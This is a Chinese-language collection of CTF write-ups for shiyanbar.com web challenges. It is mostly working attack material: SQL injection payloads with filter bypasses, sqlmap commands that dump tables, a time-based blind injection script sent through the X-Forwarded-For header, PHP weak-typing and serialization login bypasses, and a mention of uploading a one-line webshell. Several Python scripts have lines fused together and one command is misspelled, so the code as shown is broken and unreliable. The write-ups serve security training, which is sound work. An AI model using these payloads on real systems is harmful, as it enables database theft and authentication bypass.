#簡單的SQL注入
http://www.shiyanbar.com/ctf/1875
1)試着在?id=1,沒有錯誤
2)試着?id=1',出錯了,有回顯,說明有注入點:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 3)先預計后台表名為flag,所以構造union select flag from flag 4)根據第二部判斷的依據,所以多加個',后面的語句需要再一個'來結束,注入語句為?id=1'union select flag from flag where 't'= 't 回顯的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 't'='t'' at line 1
分析:根據報錯,只有變量了,其他的關鍵字都沒過濾了
5)把關鍵字from,where寫兩遍試試,結果報錯:corresponds to your MySQL server version for the right syntax to use near
'unionselectflag fromflag where't'='t'' at line 1
發現空格被過濾!
6)用'+'號來代替空格:?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t
#簡單的SQL注入之2
http://www.shiyanbar.com/ctf/1908
1.先正常顯示id=1 , id=2, id=3 顯示正常說明只有三行
2.id=1' 顯示mysql 語句錯誤 大概判斷mysql 語句為 select name from user where id='input'
3.id=1 ' 中間有一個空格 顯示 SQLi detected! 說明 空格被過濾
結合這三種顯示的 內容 能判斷 顯示的是1 的界面加上我們的sql 語句 才能真正的執行我們想要執行的注入語句
繼續簡單的 判斷
id=1'%0Band%0B'1'='1 %0B 表示空格 還有的 類似 %0a-%0z + /**/都可以試試
顯示正常
ID: 1'and'1'='1 name: baloteli
然后 繼續測試
發現這個 邏輯 方法也 不錯
?id=1'||`id`||' 可以顯示 表中的數據 然后語句就是 select name from user where id='1'||`id`||'' 閉合的 想要顯示表中的所有記錄可以多加幾個||’‘ 只要是語句是閉合的就可以
ID: 1'||`id`||' name: baloteli
ID: 1'||`id`||' name: kanawaluo
ID: 1'||`id`||' name: dengdeng
然后繼續 結合web1 我們可以猜到 還有一個flag表
發現 十六進制編碼就可以搞定
?id=1'/*!u%6eion*/ /*!se%6cect*/flag/*!from*/flag/*!where*/''='
直接 getflag
#簡單的SQL注入之3
http://www.shiyanbar.com/ctf/1909
本題,我才用SQL map來解;
1)構造SQL map命令:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs
一路跑下來得到數據庫
2)再次構造判斷正確的數據庫:qlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
3)再次構造獲得表名:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables
4)再次構造查找flag表名中的列:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"
5)再次構造dump其中的內容:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"
tips:如果SQL map跑的很快的話推薦使用SQL map,但是掌握手工注入才是王道。
#天下武功唯快不破
http://www.shiyanbar.com/ctf/1854
首先看一下源代碼
讓我們提交找到的key進行post提交,看看請求頭
發現flag,當然就是把key當參數提交解出的flag進行post提交啦,但是必須要快,那就只有腳本了,下面附上腳本
import requests
import base64url = 'http://ctf5.shiyanbar.com/web/10/10.php'
rs = requests.get(url).headers['FLAG']
v = base64.b64decode(rs)
print requests.post(url=url,data={'key':v.split(':')[1]}).content
tips:對於沒有requests模塊和base64模塊的同學可以pip下載,不會pip的可以參考我之前的博客
#拐彎抹角
http://www.shiyanbar.com/ctf/1846
根據這段話,在url后面加index.php,即可得到flag
#Forms
http://www.shiyanbar.com/ctf/1819
先F12查看源代碼
發現showsource的值為0,改為1,得到隱藏的源代碼
出現
if ($a == -19827747736161128312837161661727773716166727272616149001823847)
將pin的值改為
-19827747736161128312837161661727773716166727272616149001823847得出結果
#天網管理系統
http://www.shiyanbar.com/ctf/1810
首先右擊查看源代碼(手動滑稽
這里要求我們輸入一個字符串,經過md5后等於0,這是考驗php弱類型。這里我提供4個都可以通過的值;
然后百度0開頭的MD5:http://www.mamicode.com/info-detail-1719711.html
在用戶名中輸入其中一個顯示
然后你懂;
打開那個鏈接:
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 偉大的科學家php方言道:成也布爾,敗也布爾。 回去吧騷年
這段代碼不難懂,就是把post提交的password值經過"反序列化"得到一個數組,要求數組里的user和pass都滿足,就打印flag,但是我們無法得知'???'是什么,但是我們可以注意到信息中判斷條件使用的為==,也是php弱類型;
<?php if(true=="pcat"){ echo "ok"; } ?>
bool類型的true跟任意字符串可以弱類型相等的,當代碼中存在unserialize或者json_decode的時候,我們可以構造bool類型,來達到欺騙。現在我們構造一個數組,內瀚2個元素,分別是user和pass,都是bool類型的true,於是我們得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
(a代表array,s代表string,b代表bool,而數字代表個數/長度)
最后在密碼局域欄中用post提交就可以了。
#Once More
http://www.shiyanbar.com/ctf/1805
一道簡單的代碼審計題,根據if語句要求,password必須大於9999999而且還要等於*-*
ok,直接構造password就行,password=1e8%00*-*
(注:%00是單純在數中加“-”會無意義,使用%00截斷后,加上*-*
回顯得到flag,over!
#Guess Next Session
http://www.shiyanbar.com/ctf/1788
這一題需要用到火狐瀏覽器,然后下個火狐的插件,cookies manager+
老規矩,先看源代碼
說明get獲取的值必須和session的值相等才行
使用cookies managers +,刪掉PHP session
直接guess
#FALSE
http://www.shiyanbar.com/ctf/1787
- <html>
- <head>
- <title>level1</title>
- <link rel='stylesheet' href='style.css' type='text/css'>
- </head>
- <body>
- <?php
- require 'flag.php';
- if (isset($_GET['name']) and isset($_GET['password'])) {
- if ($_GET['name'] == $_GET['password'])
- print 'Your password can not be your name.';
- else if (sha1($_GET['name']) === sha1($_GET['password']))
- die('Flag: '.$flag);
- else
- print '<p class="alert">Invalid password.</p>';
- }
- ?>
- <section class="login">
- <div class="title">
- <a href="./index.txt">Level 1</a>
- </div>
- <form method="get">
- <input type="text" required name="name" placeholder="Name"/><br/>
- <input type="text" required name="password" placeholder="Password" /><br/>
- <input type="submit"/>
- </form>
- </section>
- </body>
分析代碼邏輯,發現GET了兩個字段name和password,獲得flag要求的條件是:name != password & sha1(name) == sha1(password),乍看起來這是不可能的,其實可以利用sha1()函數的漏洞來繞過。如果把這兩個字段構造為數組,如:?name[]=a&password[]=b,這樣在第一處判斷時兩數組確實是不同的,但在第二處判斷時由於sha1()函數無法處理數組類型,將報錯並返回false,if 條件成立,獲得flag。
#上傳繞過
http://www.shiyanbar.com/ctf/1781
菜刀,一句話木馬ok
#what a fuck!這是什么鬼東西?
http://www.shiyanbar.com/ctf/56
很有特征的,jother編碼,一堆括號。可以在線解碼,不過為了離線考試,在chrome瀏覽器,F12,有一個console,粘貼全部代碼,回車,彈出key
#這個看起來有點簡單
http://www.shiyanbar.com/ctf/33
使用SQL注入
聯合查找
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,1
查數據庫
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA
猜表名
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,TABLE_NAME%20from%20information_schema.TABLES
猜字段
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS
k0y最可疑,於是提交
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey
#頭有點大
http://www.shiyanbar.com/ctf/29
火狐or chrome F12
點擊編輯和重發,編輯信息,修改語言和增加一個.net framework 9.9,也就是添加.NET CLR 9.9(有個分號)
發送並預覽
#Forbidden
http://www.shiyanbar.com/ctf/21
F12,選擇網絡,然后重新加載一下,點擊編輯和發送
修改zh-CN為zh-hk
發送后在預覽頁面即可看到flag
#貓捉老鼠
http://www.shiyanbar.com/ctf/20
根據題目提示“catch”,使用burpsuite抓包嘗試,並將抓包數據發送至Repeater
直接點擊GO,看Response輸出,發現表頭中存在以下一行內容提示
將“MTQ4ODg2ODA4MA==”復制后,替換Repeater中自己先前輸入的123,查看Response,發現已得到key
#登錄一下好嗎?
http://www.shiyanbar.com/ctf/1942
解釋下:
先計算username='TG' 一般數據庫里不可能有我這個小名(若有,你就換一個字符串),所以這里返回值為0(相當於false)
然后0='' 這個結果呢?看到這里估計你也懂了,就是返回1(相當於true)
所以這樣的注入相當於
select * from user where 1 and 1
也等於 select * from user
(這題只有篩選出來的結果有3個以上才會顯示flag,沒有就一直說“對不起,沒有此用戶!!”)
好了,繼續嘮叨幾句,上面那個比較是弱類型的比較,
以下情況都會為true
1='1'
1='1.0'
1='1后接字母(再后面有數字也可以)'
0='除了非0數字開頭的字符串'
(總體上只要前面達成0的話,要使語句為true很簡單,所以這題的萬能密碼只要按照我上面的法子去寫一大把)
#who are you?
http://www.shiyanbar.com/ctf/1941
時間注入,不懂得搜百度,我直接上腳本不BB了
import requests
import time
import sysurl = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
def retriveCurrentDatabase():
ascii = -1
index = 1
result = ""while "\x00" not in result:
ascii = 0
for i in range(8):
sql = "222' and (case when (ascii(substring((select database()) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)if (time.time() - starttime) > 0.5:
ascii += pow(2, i)
if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)index += 1
return result
def retriveTable(database):
database = "'" + database + "'"
ascii = -1
row = 0
while True:index = 1
result = ""while "\x00" not in result:
ascii = 0
for i in range(8):
sql = "222' and (case when (ascii(substring((select table_name from information_schema.tables where table_schema=%s limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (database, row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)if (time.time() - starttime) > 0.5:
ascii += pow(2, i)
if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)index += 1
if result == '\x00':
break
ascii = -1
print('')
row += 1def dumpColumn():
ascii = -1
row = 0
while True:index = 1
result = ""while "\x00" not in result:
ascii = 0
for i in range(8):
sql = "222' and (case when (ascii(substring((select flag from flag limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and '1'='1" % (row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}
starttime = time.time()
requests.get(url, headers=headers)if (time.time() - starttime) > 0.1:
ascii += pow(2, i)
if chr(ascii) != '\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)index += 1
if result == '\x00':
break
ascii = -1
row += 1def main():
database = retriveCurrentDatabase()
print('\nCurrent database is %s' % database)
print('Let\'s see the table name in the database!')
database = database.replace("\x00","")
retriveTable(database)
print('Let\'s dump the flag!')
sys.stdout.write("ctf{")
dumpColumn()
sys.stdout.write("}")
if __name__ == '__main__':
main()
#因缺思廳的繞過
http://www.shiyanbar.com/ctf/1940
查看源碼得到這個東西,改變下url
出來了這個東西
下面就是post數據的檢查,這里不是狹義上的過濾,僅僅是檢查,檢查到敏感字符就輸出“水可載舟,亦可賽艇!”,結束。
主要檢查"and""select""from""where""union""join""sleep""benchmark"",""("")"這些sql中常用到的東西。
數據庫連接這塊沒什么說的。接着就是將$_POST['uname']直接代入sql查詢interest表。驗證查詢結果是否一行,如果是將查詢結果的pwd列值與$_POST['pwd']比較,如相同則輸出FLAG。
程序似乎挺簡單,邏輯也明了清楚。要得到flag,得過兩個條件判斷:mysql_num_rows($query) == 1 和$key['pwd'] == $_POST['pwd']。
相信有個別人,代碼都不看就直接拿出sqlmap,看完代碼,不建議這樣做,收益甚微啊。看看輸入檢查就知道了。
試想如果用union select控制查詢結果,那$key['pwd']和$_POST['pwd']就都在我們的控制之中了,但這條路的關鍵在於過輸入檢查。我手動試了很多方法,嘗試過輸入檢查,發現徒勞。再看看代碼,想想也是,這么個檢查方法,似乎過不了檢查的。
於是重新調整戰略。我們要的是過兩個條件判斷,從這入手其實第一個條件判斷很好過:x' or 1 limit 1#,這就過了第一個檢查。再看第二個檢查$key['pwd'] == $_POST['pwd']。由於數據庫中數據我們是無法獲得的,至少我獲取不了。想過這個條件只有控制了$key['pwd']才有可能。我摸索了很長時間,幾乎快放棄了,詢問了pcat此處是否有可為。答案是肯定的,又給了點提示。最后確定目標使$key['pwd']為NULL。可是輸入檢查很嚴,去了逗號,括號等。為達到目標,我翻看mysql的手冊。過程漫長又非因缺思汀。早飯過程中腦子中一直過手冊內容。早飯過后,就想到了可利用之處。group by with rollup。
x'or 1 group by pwd with rollup #
最后根據pwd為NULL,playload:x'or 1 group by pwd with rollup limit 1 OFFSET 2#
#讓我進去
http://www.shiyanbar.com/ctf/1848
用哈希長度擴展攻擊,原理嗎,搜百度,我不在這BB
推薦先看下這個鏈接:http://www.cnblogs.com/pcat/p/5478509.html
其中已經對這個方法做了詳細介紹了,我就不在贅述了
#忘記密碼了
http://www.shiyanbar.com/ctf/1808
首先Ctrl+U查看網頁源代碼:可以看到 admin"為"admin@simplexue.com" 編輯器為Vim。
隨便輸一個,彈出js框提示密碼放在step2.php里。那么直接打開step2.php,發現一直跳轉回step.php。算了,直接用Fiddler看吧,果然是一個302重定向。那么訪問step2.php時,其實是將它內置的test@test.com發到submit.php里去了。那么我們再訪問submit.php,顯示的是"you are not an admin"。
這個方法不行,看了下別人的WriteUp,說是Vim會產生臨時文件。那么我們在瀏覽器里訪問.submit.php.swp,果然有文件。雖然有亂碼,但代碼勉強看的懂。這里需要的是emailAddress和token兩個參數。emailAddress就是剛才個,而token做了判斷,必須為0且長度為10。
改變url:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000
#NSCTF web200
http://www.shiyanbar.com/ctf/1760
題目是一個php加密的,我們逆着就行了
$dd="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $s=str_rot13($dd); $a=strrev($s); $b=base64_decode($a); for($e=0;$e { $g=substr($b,$e,1); $temp=ord($g)-1; $g=chr($temp); $aa=$aa.$g; } echo strrev($aa); ?>
#程序邏輯問題
http://www.shiyanbar.com/ctf/62
這道題還是卡了幾個小時,
最后的playload:
user=1 union select concat('bcbe3365e6ac95ea2c0343a2395834dd')%23 &pass=222
開始我以為注入,最后注入出來發現pw字段是111
於是嘗試了 弱類型 ,發現沒什么軟用
最后想到union查詢
SELECT username FROM admin where id =-1 union select concat('bcbe3365e6ac95ea2c0343a2395834dd')
原理:當沒有id為-1的用戶時 就會顯示union后的語句 也就是 bcbe3365e6ac95ea2c0343a2395834dd
222的md5
同時提交pass=222 就金光一閃了
#PHP大法
http://www.shiyanbar.com/ctf/54
通過閱讀http://ctf5.shiyanbar.com/DUTCTF/index.php.txt中的代碼可以知道
id如果等於"hackerDJ"的話不會得到flag 但后面要求解碼后還是"hackerDJ"
所以需要第一次解碼不是"hackerDJ",而第二次是"hackerDJ",所以編碼兩次就好了
(不需要全部編碼,隨便找個字母,比如最后的J->%254A即可)
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=hackerD%254A
#貌似有點難
http://www.shiyanbar.com/ctf/32
打開burp攔截一個請求,在http頭部增加一個x字段為1.1.1.1 轉發出去。
然后就可以看見key了。
#看起來有點難
http://www.shiyanbar.com/ctf/2
SQL注入,簡單的很,只不過跑起來很慢,竟然是50分的,不知道過人之處在哪
題目沒有問題,這是嚇唬人罷了,應該就是這樣吧,要相信自己,別被眼前的事物所迷惑吧。
紀念下